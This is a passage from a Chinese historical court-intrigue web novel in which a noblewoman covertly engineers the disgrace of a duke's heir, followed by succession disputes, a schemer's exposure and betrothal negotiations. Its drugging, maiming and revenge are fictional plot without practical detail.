许翰低笑:“刘县令放心,此事我定会帮你问问,只是对方到底是何来路,本侯也不知晓,总得打探一二。” “有侯爷这句话,下官就放心了。” 刘起知道,此事也算是过了明路,只要侯爷明白自己这是过来认错了,那一切就都好办。 待刘起离开,许翰轻笑一声,许昭昭自偏厅中走出来。 “你呀!让我说你什么好,一个姑娘家家的,怎么想出这样折腾人的法子来!” 看似是在埋怨,但是实际上语气里却满是宠溺。 许昭昭笑道:“爹爹不知,这刘起与那刘怀恩合谋算计,如今只是被我略施薄惩罢了。他们二人若是一旦得手,到时爹爹在朝堂上便难做了。” “嗯,为父知道你是出于好心。只是这等事,还是交给你几位兄长来做便是,你一个姑娘家,就应该安心享受才是。” 许昭昭没有争辩,她知道父亲的本意就是不想让她掺和进这些事里,这是为了她的名声考虑。 女子一旦有太多这方面的纠葛,总归是不利的。 “爹爹可听知这刘起的来历?” “嗯,刘起出身清白,家中小富,算不得什么名门。不过胜在此子好学且性格坚韧,所以才能一路坐到这个位置。” 别小看一个京城县令,那可是实权在握。 虽说品级不高,但你所处的地儿就在人家的治下,到时候如果真想找你的麻烦,还是很容易的。 “圣上对此人评价如何?” “很高。此人为官算不处多清廉,但重要的是能办事。” 这么一说,许昭昭就明白了。 上位者最喜欢的,无非就是那么几种人。 要么能办事,可解上位者的烦恼;要么就是能言善辩,可哄得上位者心情愉悦。 再有的,就是可以充当上位者手中的棋子,指哪儿打哪儿! 总之,像刘起这样的人,一般而言是极得上位者欢心的。 许昭昭心中有数,便知道这件事在刘起这里只能到此为止。 如今略施薄惩,圣上知道了也不会怪罪,只会觉得是许家人心中不忿,所以私底下出出气。 若是做得太过了,那圣上就要怪罪了。 不能误了圣上的用人之计。 所以,接下来,就该着让刘怀恩倒霉了。 许昭昭去年在肃国公府安插的钉子,这会儿可就派上用场了。 让刘怀恩倒霉,可比算计刘起要容易得多了。 许昭昭只是让人给刘怀恩的茶水里放了一些东西,便足以令整个肃国公府大乱。 关键是,还什么都查不出来。 刘怀恩正在与美人儿缠绵,风流快活之时,屋门突然被人一脚踹开,竟是他的正妻姜芙。 姜芙听闻刘怀恩又带回来一名女子,而且竟然还不经过她的同意,就要纳其为妾,姜芙如何能受得了? 一怒之下,便带着人 气冲冲地过来捉奸了! 她是正妻,只要她不点头,刘怀恩就不得纳妾。 姜芙的背后可是整个姜家,所以她有底气,这脾气自然也就大。 结果门被踹开之后,才发现闹出大乱子了。 与刘怀恩正在颠龙倒凤之人,竟然是国公爷的一房小妾,而且还是两年前纳入府中的。 这下子,可真是捅了马蜂窝了! 这等丑事,自然不能传扬出去。 这下子,姜芙自己带来的人,也都跟着被国公夫人处置了。 肃国公气得跳脚大骂,但是事实已然如此,还能如何? 那个被刘怀恩给招惹的小妾,也在夫人的授意下,直接被灌了药,然后再拖回后院,如果不出意外的话,明日,这位小妾应该就会被宣布暴毙了。 至于刘怀恩,到底是国公府的嫡长子,而且如今还是世子呢,这等丑事一旦宣扬出去,丢的可是整个国公府的脸。 刘怀恩此时跪在地上,脸色慌乱,但还是没忘了给自己脱罪。 “父亲,儿子真地不知道是她呀!而且这里是儿子的院子,这,众目睽睽之下,儿子怎么可能带她来这里?” 这话也算是说到点子上了。 国公府的几个下人也都纷纷表示,并没有看到除了新接入府的那位姑娘外,还有其它人进来。 也就是说,这是那房小妾自己送上门来的? 这个可能性一浮上来,国公爷的脸色就越来越差。 这是嫌弃自己是个糟老头子,所以迫不及待地想要给自己找个新靠山? “贱人!” 国公夫人宋婉仪在听到这句话之后,立马便松了口气,她知道,儿子这一关算是过了。 第190章 国公夫人训子 许昭昭出手,怎么可能就只是让刘怀恩被骂一顿就消停了? 这才只是一个开始呢。 肃国公可不缺儿子,哪怕是嫡子,他也有好几个,不是非得让刘怀恩来袭爵不可。 如今刘怀恩竟然私通庶母,这已然是犯下了大错! 违背人伦,这绝对不可原谅。 只是涉及整个国公府,所以肃国公再生气,也只得将此事压下。 为了自己的脸面,也为了国公府的体面。 但是,经此一事,他对这个嫡长子是愈发地失望了。 肃国公已经开始考虑,要不要换成嫡次子来继承爵位了,长子如此纨绔无能,他实在是不放心把整个家族的荣耀未来都交给刘怀恩。 可若是换成嫡次子,总要有一个由头的。 刘怀恩与庶母私通一事必然不能曝出去,而且刘怀恩的妻子还是姜太师的亲孙女,所以此事若是处理不当,还有可能会引起姜家的怨怼。 最好的法子,其实就是刘怀恩自己提出来不想再做世子。 可刘怀恩不傻,若不是世子,日后如何承袭家业? 肃国公这几日分外头疼,主要就是在为了这件事操心。 身为他的枕边人,夫人宋婉仪自然也是能察觉到他的一些情绪变化,更是察觉到他生出了更换世子的打算。 其实,对于宋婉仪而言,换就换,无所谓。 反正再换,那也是嫡子,也得是她儿子。 可问题是,她的次子,却并非是整个国公府的次子。 宋婉仪直接提出来:“我看着咱们国公府里头也是因为人多,事才杂乱。不如将成了亲的几个庶子分出去,这也是常理,咱们身为长辈,如此安排并不过分。” 庶子在一个庞大的家族里,的确是不被重视的。 尤其是对于肃国公这种有好几个嫡子的,那就更不重要了。 事实上,肃国公只怕也未必能认全自己的那些儿女。 “也好。将他们分出去,府里头人少了,事情自然就会少。” 宋婉仪之所以提出分出去,主要还是担心刘怀恩会在女色上再吃一次大亏。 这次是国公爷的小妾,谁知道上回换成谁了呢? 所以,宋婉仪就想着干脆将这个源头给掐灭。 刘怀恩再不好,那也是自己的嫡长子,容不得别人来笑话! 宋婉仪不是一个苛刻的嫡母,既然和国公爷商量过了,那自然就要拿出一个态度来。 “如今家中成婚的有三个庶子,每人给他们一处院落,虽然不大,但也都是二进的宅院,再每人给二百亩良田,一间铺面,另外再给他们一百贯钱,老爷以为如何?” 肃国公很满意,妻子这样安排,并无不妥。 而且其它府邸的庶子,可能比他们家分到的东西要少很多。 “至于院落内的家具等一应物什,妾便都让人一并置办好。另外再给他们安排过一些杂役仆从,粮食自然也都会命人给拉过去存放好,毕竟都是国公爷的子翤,不能太寒酸了。” 肃国公听得频频点头:“不错,你想的很周到,就依夫人之见吧。” 三个庶子,娶的都是小门户之女。 这种事情,国公爷和夫人一说出来,那便是只需要执行便是。 三个庶子如今院内的东西,只要不是御赐之物,都可以由着他们自己搬走。 这也算是宋婉仪的大方了。 三个庶子一搬走,这国公府里头立马就清静不少。 毕竟,这连主带仆的,一走就是几十口子人呢! 每个成了家的庶子都分到了二百亩的良田,这可着实不少了! 说句不中听的,只要他们自己不作死,哪怕是没有功名在身,这二百亩田地的产出也足以让他们衣食无忧了。 况且,还每人得了一间铺面。 若是自己不会经营,也可直接租出去,一年到头有稳定的租钱可拿。 若是自己经营得当,日后必然也可做个富家翁。 不得不说,宋婉仪还是相当有先见之明的。 因为刘怀恩还真地是盯上了其中一位庶弟妹,只觉得对方虽然相貌不算多美,但是胜在别有一番韵味。 若是再留在国公府,只怕早晚是要遭了刘怀恩的毒手。 宋婉仪将一切安排妥当之后,这空出来的三处院子便先让人收拾干净,再简易布置一番,回头可以给自己的嫡次子纳妾用。 “母亲,您唤儿子来何事?” 刘怀恩进门来先粗粗行个礼,之后便宛若没有骨头一般地坐下,眼 底下的青色,足以看出他这几日在女人身上是有多卖力。 宋婉仪对这个儿子有再多的不满,更多的也还是心疼和维护! “你自己看看吧!这些日子你是越发地不像话了!你贪图美色也便罢了,府里头你身边的丫环都是个顶个的漂亮。可是你怎么能在为了这些女人败家?你看看你这些日子从账房那里支走了多少银钱?你以为咱们国公府的钱都是大风刮来的不成?” 刘怀恩不甚在意,不过就是些许银钱,有什么打紧的? 他是世子,自然知道国公府的产业有多少,光说那一千多亩的田庄就有好几个,京城的铺面十多间,怎么可能会因为自己一些花销便败了家? “母亲,我看您就是想太多了。父亲简在帝心,这赏赐那是一重接一重的,光是今年,便赏了有好些个银锭和丝帛了吧?儿子花那点儿钱,实在算不得什么,您还是莫要忧心了。” 宋婉仪见到儿子竟然这般不识好歹,自然是气不打一处来。 “孽障!你真以为国公府的世子非你不可吗?我告诉你,你若是再这般冥顽不灵,你父亲早晚要请旨废了你的世子位!” 刘怀恩吓得一个激灵,这是头一回见母亲用如此严肃的语气来提及废爵位的事。 “母亲,您说笑的吧?儿子可是嫡长,再说儿子也没有犯过什么大错。” 说到这里,刘怀恩明显底气不足了。 宋婉仪冷笑:“说呀!怎么不说了?有违人伦之事你都做了,在你眼里究竟如何才算是大错?难不成你还想要弑兄杀父?你眼里除了美色,究竟何事才算是大事?” 第191章 废世子 刘怀恩被母亲训斥了一顿,心里也的确是生出了几分想要向上的心思。 只是这种上进的情绪没有维持太久,在他进入书房看到了墙上的美人画像后,便又开始七思八想。 刘怀恩在书房里坐了不到半个时辰又出府去了,这个消息让宋婉仪对儿子的失望越发浓重了。 肃国公也的的确确是起了想要废掉这个儿子爵位的心思,只是正如刘怀恩自己所说,他是嫡长,而且还娶了姜太傅的嫡孙女,如果没有一个正当合理的理由,刘怀恩的世子位,还真地是废不了。 谁能想到,想什么来什么呢! 当天晚上,刘怀恩就被人给抬回来了。 刘怀恩被打断了一条腿,不仅如此,他还瞎了一只眼。 被抬回来的时候,刘怀恩整个人都是血呼拉的,姜芙当场就被吓晕过去了。 宋婉仪则是又急又气,晕厥片刻后醒来,第一件事就是先问儿子伤势如何。 得知一只眼睛失明,并且没有补救之法后,宋婉仪整个人像是被抽掉了精气神。 “那腿呢?” “腿骨被打断,就算是可以固定好,但日后肯定也会影响行走的,若想要少疼且走路稳,最好是配一根手杖。” 肃国公同样是气得双目圆瞪,但是这件案子查起来,却是牵扯到了其它几家勋贵。 天子脚下,肃国公世子竟然被人打残,这简直就是骇人听闻! 跟着刘怀恩的那些小厮们也都受了轻重不一的伤,这次回府后,估计也不可能再活命了。 肃国公命人报官,这已经不是一个长安县令就能审的案子了,赵长清亲自带人到国公府询问,之后便依照线索去查实。 其实起因很简单,就是刘怀恩去了花楼,结果因为争抢一名花魁而与人起了争执。 只是这一次,刘怀恩不太走运。 与刘怀恩起了争执的,除了长公主府的公子之外,还有薛国公以及颖川侯家的公子。 说白了,得罪的人太多,而且这一次,他得罪的都是肃国公不敢轻易招惹的人物。 别人不说,单说那位云凝长公主家的公子,就不是寻常人能招惹得起的。 云凝长公主的驸马乃是大兴武将,与长公主夫妻恩爱,奈何驸马在守卫边关时,为国捐躯。 也正是因此,永安帝也一直觉得对云凝这个妹妹有愧,故而一直对她恩宠有加。 对于长公主膝下的儿女,自然也是多有照拂。 甚至于,还给长公主的次子赐了一个侯爵。 云凝长公主的驸马原本就是公爵,所以他们的长子自然是要承袭公爵,永安帝为了让妹妹安心,所以又给其次子赐了侯爵,给其女赐下县主的身份。 如此一来,云凝长公主府里,可以说人人皆是权贵。 肃国公得知此案中牵涉到了长公主府的人,就知道怕是要不了了之。 永安帝对长公主府的恩宠,怕是无人能出其右。 更何况,赵长清查来查去,也并没有实际证据,能证明就是他们几人所为。 当时是在花楼中起了争执,而且不少人可以证明,他们几人直接在花楼里痛揍了刘怀恩一顿,但并未伤及其根本,更不曾出现挖眼断腿一事。 所以,他们离开时,刘怀恩是好好的。 等到晚上再出事,谁又能证明这一切与他们几位公子哥儿有关? 刘怀恩这次可以说是栽了一个大跟头。 但是赵长清到底是京兆府尹,守卫一方百姓安宁,是他的职责所在。 毫无疑问,这一次长安县刘起也跟着吃了挂落。 赵长清直接安排人手加强巡防,同时,这件案子不小,还是需要上达天听的。 刘怀恩等同于废人一个,无论如何,这世子之位,都要换人了。 姜家得知这个消息的时候,就知道姜芙怕是要折在刘家了。 姜芙当初嫁过去,就是因为冲着公府世子夫人的身份,如今她的丈夫不可能再袭爵了,那么姜芙在肃国公府的作用,基本上就等于是没有了。 这让姜家人心里头格外不舒坦,堵得慌! 但是没办法。 肃国公这个时候要上折子换世子,谁能说一个不字? 好在,肃国公还是要照顾一下长子的情绪,所以没有急着上折子,但是大家心知肚明,早晚的事儿! 刘怀恩被打,甚至是被弄瞎了一只眼,这在京城可是一件大事。 云凝长公主得知后,自然也将自己的次子段兴叫到跟前问话。 “母亲不必忧心,此事与孩儿无关。孩儿 虽然爱玩儿了些,但还是知道轻重的。刘怀恩那厮,儿子可不屑与其为敌。” 话虽如此,但长公主仍然不太放心。 “兴儿,你如今已经是侯爵,母亲近几日正在为你相看适龄的姑娘,你若是无事,便安心在家里看看书练练武,莫要再出门玩耍了,如何?” 段兴无奈,知道自己若不答应,母亲必然又要开始长篇大论。 “儿子遵命。” 长公主会心一笑:“我儿乖顺,那刘怀恩遭此一劫,只怕会心性大变。你日后若是不出门还好,一旦出门,必然要多带些人手,刘怀恩不足为惧,但万一他使一些不入流的手段,咱们也是不得不防呀!” “是,母亲,儿子记下了。” 长公主府如今还算是比较清冷的。 长公主与段驸马的嫡长子已经长大成亲,如今因为爵位的事,已搬至国公府居住。 但是长子长媳,几乎是每个月都会特意到长公主府这里来小住几日,只为陪伴母亲。 其实不少人劝过,让云凝长公主搬至长子处也可享受小辈们的一片孝心,但长公主不愿意。 当初她与驸马十几年的夫妻,基本上都是在公主府度过的。 这里有她和驸马一起生活过的痕迹,所以她不愿意离开。 如今闹出这种事,长公主其实也不太肯定此事是否有儿子的参与。 待段兴离开好,云凝长公主这才肃下脸来:“来人!” 一道黑影悄无声息地出现在屋内:“属下在。” “去查一查那晚之事,另外,你挑两个厉害的手下暗中保护兴儿,若是发现肃国公府的人敢伸手,直接给我剁了,不必请示!” 第192章 真真假假 李云凝可不是什么温婉乖顺的性子。 她的温婉柔情都给了已逝的驸马。 生于皇家,怎么可能没点儿底牌? 李云凝手上的暗卫,除了自己多年的培养之外,还有驸马留给她的。 原本李云凝就只想安安静静地过自己的寡妇日子,可没想到,次妇竟是被搅和进一桩伤人案中。 李云凝到底是出身不同,别人看到的只是一个刘怀恩被废的表象,但她却敏锐地察觉到,这其中有着很浓郁的政治示警。 不得不说,李云凝的直觉很准。 派出去的人,很快就带回来了消息。 李云凝听完属下的汇报之后,表情冷肃。 “好一个忠王呀!这胆子不小,手都敢往我公主府里伸了。哼,这是以为本宫只是一介女流,查不到他头上?还是觉得本宫只是一个姑姑,管教不了一个实权在握的王爷?” 这话说出来,便已是带上三分怒气了。 “去,将这个消息再稍微地美化一下,送给刘怀恩这个苦主吧。” “是,殿下的意思可是将锅都扫到忠王头上?” “哼,这里面的水深着呢,且让肃国公父子自己琢磨去吧。” “是,殿下。” 肃国公看着摆在案头上的种种结果,一时间难以做出精准的判断。 到底是忠王府有意如此,还是自己的嫡次子先生出了夺位的心思? 肃国公自己一时间难以决择,而在养伤的刘怀恩得知消息后,这表达的情绪就相当直接了。 “这个混帐东西!我就知道是他要害我!他就是觊觎我的世子之位,所以才故意联合外人来害我,畜生不如的东西!” 刘怀恩发再大的火,如今也难以改变这一事实。 肃国公将刘怀德叫来询问,但刘怀德由始至终都表现得无可挑剔,甚至于,他还再三保证,自己从未起过爵位的心思,而且他与忠王走的近,也是因为近来一直在辅助忠王编书一事。 忠王致力于编攥一部大兴的地理志,以记录各地风土人情、地势险要等等,这不是秘密。 而且刘怀德被忠王招揽时,也是过了明路的,甚至于因为编书一事,圣上还特意给赐了个官职。 虽然只有从八品,但好歹也是官身。 肃国公现在已经很难判断真假对错了。 而且刘怀德就是一书生,没有武力值,若说此事是他做的,肃国公自己也不信。 除非就是忠王府自己动了心思,毕竟刘怀恩三番两次地惹麻烦,这对于忠王而言,已经是有些厌烦了。 因为刘怀恩被伤一事,京中各府邸如今都是加强戒备,各家长辈们更是叮咛家中子侄,不许晚上外出,更不许再去那等烟花之地。 总之,一个刘怀恩被打残,换来的是诸多纨绔公子哥儿们被禁足的效果,一时间京城各处倒是清静不少,也少了很多的纷争伤人事件。 难得的,给京城换来了几天太平日子,也让那些衙役和不良人们都能吃个安心饭。 许昭昭看到这个结果,还是很满意的。 就让他们先自乱阵脚吧。 招惹了侯府,还想着全身而退,谁给他们的错觉? 谢铮在得知刘怀恩被伤一事后,莫名就觉得这件事情与自己的小媳妇有关,但是他又拿不出证据。 而且,就连赵长清查案后,都不曾找到半丝与侯府相关的线索,这让谢铮更是震惊。 要么就是他的直觉错了,他的小媳妇的确不曾参与其中。 要么就是他的小媳妇太厉害了,扫尾做得那叫一个天衣无缝,这绝对的人才呀! 许昭昭则是直接骂了一句:“在你眼里,我便是这般睚眦必报的性子吗?” 谢铮一脸恳切:“你不是吗?” 许昭昭气得想打人! 但是单纯动用武力的话,她明显不是谢铮的对手,所以很识趣地避开自己的弱势,转而哭哭啼啼的就要去找父兄告状。 谢铮一看就急了,立马将人拦住。 “我错了!我的昭昭自然最是宽厚仁慈,而且温婉贤淑。” 许昭昭一脸傲娇地哼一声,然后才吩咐人去备了茶点过来。 “昭昭,刘怀恩的伤到底怎么来的?” 许昭昭见他识趣,尤其是今天还送了一匣子宝石给她,这么知道为媳妇花钱的郎君,她当然还是要奖赏一下的。 “刘怀恩的伤与我无关,不过我知道是何人做的。” 谢铮两眼放光:“当真?说来听听!” “京城中传的最多的,就是长公主府 的段兴小侯爷吧?” “的确。毕竟他的身份最尊贵,在圣上面前也是极得宠爱的。” 虽然只是侯爵,但人家是皇上的亲外甥呀! 这个是真比不了。 “我查到的消息,刘怀恩是被忠王府的人动手废掉的。” “嗯?”谢铮看不懂了。 忠王府与肃国公府可以说是一直都是一条战线上的人,这一次是怎么了? 何故要内讧? 许昭昭只一个眼神,就知道他在想什么。 “你看错了!忠王的目的只是不想让刘怀恩拖累了大局。肃国公站忠王这一派,已是人人皆知,但是刘怀恩屡次出错,而且在御前的口碑极差。忠王不需要一个这样的合作者,所以想要把人踢下去,换一个听话懂事,而且还有几分才名在外的新世子,不是很简单明了?” 谢铮皱眉,如果是这样,那好像也能说得通。 “其实,若忠王真有此意,何不直接劝说肃国公改立世子?如此这般行事,他就不怕与肃国公反目成仇?” 许昭昭轻嗤道:“这是我查到的消息,你怎知肃国公就能查到?又怎知肃国公查到的消息与我的消息是一致的?而且,肃国公早有改立世子的心思,只是一直没有找到合适的机会和理由而已。” 这么一说,谢铮瞬间就明白了。 忠王这是在帮着肃国公下决心呢。 而且理由不也就找好了? 许昭昭喝了一口茶,再次解释道:“刘怀恩是个不中用的,而且他娶的妻子姜芙同样是个蠢货!肃国公府日后若是交到这对蠢货夫妻手上,那才是刘家的灾难。忠王早就看准了这一点,所以才会决心出手。” 谢铮拧眉:“不对呀!可如此一来,不就把姜家给得罪了?” 第193章 齐云泽觉得恶心 许昭昭笑着给他一记眼神:“你忘了忠王府还有一位姜孺人了?” 谢铮一愣,好像是有这么一回事。 可他们本就是同一战线上的,现在却直接抛弃一个,总觉得忠王这么做实在是不明智,他就不怕事发后,引来姜家和刘家的不满? 许昭昭知道他这是惯性思维,所以并不觉得谢铮蠢,反而觉得这一次忠王府出手才是真的聪明。 刘怀恩和姜芙这样的蠢货,若是一直代表着肃国公府,那才要出事。 这就好比是身上长了瘤子,既然发现了、确认了,就应该毫不犹豫地将这颗瘤子切掉,否则,只会后患无穷! 但是肃国公念着是自己的长子,所以难以痛下决心。 忠王则是没有这方面的顾虑,可以直接推一把。 若换了是自己处在那个位置上,许昭昭觉得她也会这么做的,只是可能会在方式方法上,更讲究一些。 忠王府的做法,太粗暴简单了。 看似好像是嫁祸成功了,但是实际上,不还是被她这个局外人给利用了吗? 不得不说,如果不是因为她来了,忠王嫁祸的目的,是一定可以达成的。 但是凭什么呢? 许昭昭觉得自己现在就是这盘棋局上的一个bug,既然让她参与进来了,那就得把一切都搅得越乱越好。 因为只有局势越乱,许家和谢家才会越安全。 忠王和安王斗法,没必要牵扯到太多人进来,你们两个想上位,就自己去折腾,干脆还要去牺牲掉无辜之人? 许昭昭手指在桌上轻叩几下,现在连长公主府都被扯进来了,她真地想知道,忠王知道后会是一个什么样的反应。 许昭昭近来被要求练习女红。 奈何她哪是那等手巧之人呀? 绣出来的鸳鸯,比外面的野鸭子还难看。 偏偏谢铮瞧见了,还执意说好,非得让许昭昭给他绣一个荷包才肯罢休。 许昭昭觉得如果自己绣的荷包真地被谢铮给挂到腰间,最生气的应该会是母亲王若兰了! 好歹也是侯门贵女,女红做成这样,估计要被人笑死的。 思来想去,许昭昭还是决定给谢铮绣一方帕子。 这个简单,而且男子用的手帕,只需绣上几节翠竹即可,比绣花和鸳鸯要简单得多了! 但事实上,许昭昭绣出来的翠竹,也就勉强能看出来是绿色植物,实在是难以判断,这到底是生机盎然的杂草,还是文人喜爱的竹子了。 这些都不重要,因为谢铮一个大男人,不会故意拿着一方帕子出来显摆。 而且许昭昭还特意交待了,不许在外说是她送的。 对此,谢铮只是单纯地理解为小媳妇害羞了。 时间飞逝,转眼又到了九月底,肃国公到底还是上了折子,将世子之位改为刘怀德。 没办法,总不能真地让一个瞎了一只眼,还瘸了一条腿的儿子来成为国公府的未来主人吧! 永安帝也没有为难他,甚至还关心地询问几句,便批了折子。 也不知道永安帝是怎么想的,折子批了,但是又下旨给刘怀恩送了些名贵药材,并且叮嘱他好好养伤,日后还是有机会报效朝廷的。 这算不算是安慰? 刘怀恩这个时候,却是什么也听不进去的。 姜芙此时也是心烦气躁,她不再是国公府的未来女主人了。 这让向来心高气傲的她,瞬间就如同一只蔫巴了的茄子一般,整个人都瘪了下来。 说得再直白些,就是看上去老了好几岁,同时又没有以前挺拔傲气了。 许昭昭对此倒是不怎么在意,她安排的人,还在盯着那个不老实的程媛呢。 程媛和忠王府的关系变得有些微妙起来。 许昭昭现在更想知道,程媛手里头到底还有多少人能用。 而且,谢铮和齐云泽先前都十分笃定程公一事是被人诬陷,那么现在呢? 最起码,这大笔的钱财,做不得假吧? 当齐云泽和谢铮看着许昭昭推出来的这些资料时,恨不得戳瞎自己的眼。 “程家有财富,这一点并不算什么,但问题是程媛手里头明明有钱,又为何装作一贫如洗的模样?” 齐云泽不是在乎那些钱财,他只是有一种被人当傻子耍的愤怒感。 谢铮的心态则是比他要好上很多。 早在许昭昭盯上程媛的时候,他就发现,程媛跟自己记忆中的形象,好像完全不一样。 又或者说,是他不够了解程媛。 “程媛不仅仅有钱,而且手底下还有人。现在你们两个都清楚了,那么,接下来你们要怎么做呢?” 齐云泽沉默不语,总觉得胸口闷着一口气,怎么做都不舒服。 他和谢铮是感念当年的程公恩情,并非是真地就对程家后人有多深的感情。 但是现在弄成这样,着实是让他有些下不来台了。 谢铮还好些,自程媛回到京城后,谢铮一直都跟她保持距离,所以京城中并没有关于他们二人的传闻,反倒是齐云泽曾将程媛带回府中,所以关于他和程媛暧昧不清的流言甚多。 “我就是一辈子不娶妻,也不可能跟这么爱耍心机的女子有关系。” 许昭昭挑眉,这话骂的范围可有些广呀! 谢铮提醒道:“女子有心机不是什么坏事,但程媛这种就属于是故意耍人,这可不一样。难不成你以后就想找个什么也不会的白痴当妻子吗?” 齐云泽噎住,一时间也不知道应该怎么回他了。 许昭昭倒是笑嗔谢铮一眼,淡淡道:“程媛绝非你们表面上看到的那么简单,她不仅有钱,而且有人,最重要的是,她还做了很多你们不知道,而且也想不出来的事。” 谢铮瞪大眼睛:“难道?” 许昭昭表情淡定:“她还在暗中与忠王有来往,不仅如此,除了你们之外,她还广撒网,当年受过程公恩惠的人,可不止你们哦!” 齐云泽此时的脸色难看极了,就像是刚刚吃了什么恶心的东西一样,恨不能当场表演一个呕吐! 谢铮还算是镇定,自嘲一笑:“云泽,是我们不该小看任何人,只以为程媛是女子,我们便下意识地将其认定为弱者,实际上,我们只是被她利用的棋子。” 第194章 敢跟老子耍心眼儿了! 现在双方在一起把各自知道的资料都汇总一起,对于程媛的了解,就更加全面了。 有心机、有手段而且还心狠手辣,这是目前他们对于程媛的一个综合评价。 “我回去后会跟家里说,把先前派过去的几名仆从都召回来,至于程媛,此后与我无干。” “我们护国公府也不会过问的。” 许昭昭笑道:“你们想的方向还挺一致,这样也好,兴许逼一逼,程媛的底牌才会露出来。” 齐云泽瞪眼:“她还有底牌?” “当然!先前朝廷官兵查抄出来的那些财物只是一部分,程媛手上的筹码可不止这些。” 齐云泽脸色更难看了。 程媛这边在得知侯府将几名仆从都叫走后,又将租房的契书送来,她便意识到不妙。 果然,自那之后,她便再无法跟侯府的人联系上, 在外人看来,齐云泽能为程媛做到这一步,已经是仁至义尽,毕竟先前还传出了一些不好的话,人家这也是为了各自的名声,没毛病! 但是程媛却觉得事情超出了她的掌控范围,本应该处处为她着想的谢铮和齐云泽,竟然都不再对她有所关照,甚至连见她一面都不肯了。 这一定是哪里出了问题。 可事实就是如此,程媛想要见这二位公子一面,可以说是难如登天。 首先,谢铮要当值,那可是在宫里头当差,无事谁能轻易进得了宫? 其次,齐云泽的行踪本就难以捉摸,连侯府的人都时常找不到他,更何况是一个程媛了! 程媛再怎么说也是一名女子,大兴再开放,也没有哪家的女子在外头追着男人跑的景致。 程媛怒极,她倒不是心疼那些银钱。 她手里有银钱,就算是没有别人帮扶,她也一样能过上安稳且富足的日子。 只是如此一来,她手上有钱的事情就会暴露出去,谁知道会不会被人在暗中盯上? 程媛不想给自己惹麻烦,所以才会和谢铮、齐云泽搭上线,如此一来,她在外哪怕是吃的好穿的好,也不会有人生疑。 如今嘛,她只能是再找一个冤大头来挡雷了。 这个冤大头,好巧不巧的,也是许昭昭的熟人。 刘勃与程媛幼时曾见过数面,也曾一起玩耍过,所以两人间的情份还算是不错。 刘勃自打知道程媛回京后,也曾派人送过一些东西和银钱,只是为了能让这位昔日的小妹妹过上稳定的生活。 如今程媛见指望不上谢铮和齐云泽了,自然就把主意打到了刘勃头上。 刘勃家中虽无爵位,但其祖父和父亲都是实权在握的朝廷命官,在京城,也是一位不好惹的纨绔公子呢。 “程媛妹妹,上次见你时,还觉得气色不错,几日不见,怎么这般憔悴了?” 程媛示弱扮苦,向来拿手。 “让刘家兄长见笑了,快请里面上坐。” 许昭昭安排在附近的眼线自然也知道是刘勃被程媛给赖上了,除了他之外,还有一位,只不过那位的家世不及刘勃,但问题是比刘勃有钱呀! 许昭昭只觉得这个程媛的手段果然高明,竟是能将这么多的男人吃得死死的。 若非是因为她将程媛的假面揭下,只怕齐云泽也会被她所迷惑。 至于谢铮,许昭昭一早就注意到,这个男人对程媛并没有那么关心,而且谢铮的目的一直很明确,就是要找到证据。 所以,谢铮关注的重点一直都不是程媛本人,而是程媛身上的东西。 难得,总算是有一个清醒的。 许昭昭不讨厌有手段有心机的女子,但是她不喜欢像是程媛这一种的。 不过这几日许昭昭也被谢铮给烦得不行。 无它。 许君锋已经成亲了,许君霆的亲事也已经定下,接下来,就应该是谢昭昭成亲一事了。 谢铮的意思是想着今年完婚,但是许家人不同意,许昭昭自己也觉得成亲还太早了些。 谢铮最近接连上门,就是想要说服许家人,让他早一日将媳妇娶回家。 不过在这一点上,许翰很坚持,就是不答应。 谢铮是拿了各种好东西来讨好岳父岳母,都没用。 这也看得出来,许翰这分明就是一个女儿奴呀! “贤侄,你也别再破费了。我跟你说实话吧,先前无论是说没有攒好嫁妆,还是说其它,都是借口,我就是不想让昭昭太早出嫁。我侯府也能养得起她,所以就想着让她能在我和夫人跟前多待几年。” 几年? 谢铮一听这话,差点儿直接从椅子上跳起来! 这像话吗? 许昭昭都多大了,你们竟然还想着再留几年? 那不成老姑娘了! 不行不行! 你们不急着嫁女,但是他急着娶媳妇呀。 “岳父,小婿今日前来,并非是为了逼婚,只是想着先跟您商议一下,婚期定在明年的六月还是十月更合适呀?” “十月!” 许翰想也不想,直接就一口定下十月。 话一出口,他便意识到不对。 怎么就成明年出嫁了? “好小子,敢跟老子耍心眼儿了!” 谢铮无奈拱手:“岳父见谅,实在是小子年纪也不小了,而且小子对昭昭是一片真心,绝无虚言。” “行了,知道你是什么意思。这件事情我也做不得主,得跟夫人商议之后再定。” “是,小子明白。那回头我便请媒人再上门来商议。另外,关于聘礼方面,不知岳父可还有什么要求?” “没有,你们看着办就是。” 许翰话落,又觉得上当了。 怎么就聊到聘礼上了? 太早了! “行了行了,有话你们赶快说,要记得止乎于礼!” 许翰看到外面候着的丁香,就知道是宝贝闺女有话要和谢铮说了,再不舍得,也得让他们见面。 谢铮刚刚进入紫园,就见到许昭昭就坐在六角亭里,一边手托腮,一边看着不远处的几位舞姬翩翩起舞,倒是享受得很。 “来了,坐!” 许昭昭丝毫不把他当外人,干脆两人一起欣赏着几名女子曼妙的舞姿。 谢铮的眼神和心思,全都在许昭昭身上,只是轻瞟了一眼场内后,便开始琢磨着如何说服许昭昭能与他一起出游。 第195章 书商 谢铮入伍之前,还算是一个喜欢说笑的性子。 可是自打他入伍之后,随着官阶的晋升,他便越来越不喜欢与人笑笑闹闹,在人前更是一副不苟言笑的样子。 许昭昭大概能明白,其实这就是为了在军中的威严。 久而久之,这便形成习惯了。 就好像是父亲许翰,他在家中看似很随和,但实际上只要是他一绷起脸来,所有人都吓得想下跪。 这就是多年军中行伍生涯带来的影响。 哪怕他已经在尽力削减自己身上的那股子杀伐之气了,但只要是让他生气或者是不高兴了,那就一定会暴露无遗。 谢铮还年轻,但是他从军的时间可不短,而且是正儿八经在关外打过仗,砍下过突厥人头的边关战将! 许昭昭欣赏完一曲之后,便连连鼓掌叫好,随即命人送上赏钱,再将她们送出府去。 一般的高门大户之中,都会豢养一些歌舞姬,但是安信侯府没有这个规矩。 而且许翰也曾亲自下命,侯府内许豢养歌姬舞姬等一些贱流。 说白了,就是怕自己的儿孙们长时间被这些美色所侵蚀,再消靡了他们身上的男儿志气。 许昭昭平时也不怎么看这些,但这几日突然心血来潮,总觉得这个时代女子的舞蹈实在美丽。 她就是单纯地欣赏美,而非是美人! “三郎以为刚刚的歌舞如何?” 谢铮被问住,他刚刚只是瞟了一眼,哪注意好看不好看呀? “呃,极好。” “是吗?三郎是以为唱的好,还是舞得好?又或者,是那琴抚得好?” 谢铮一时间无语,他刚刚满脑子想的都是二人一起游山玩水的画面,哪里真地就看到有人歌舞了? 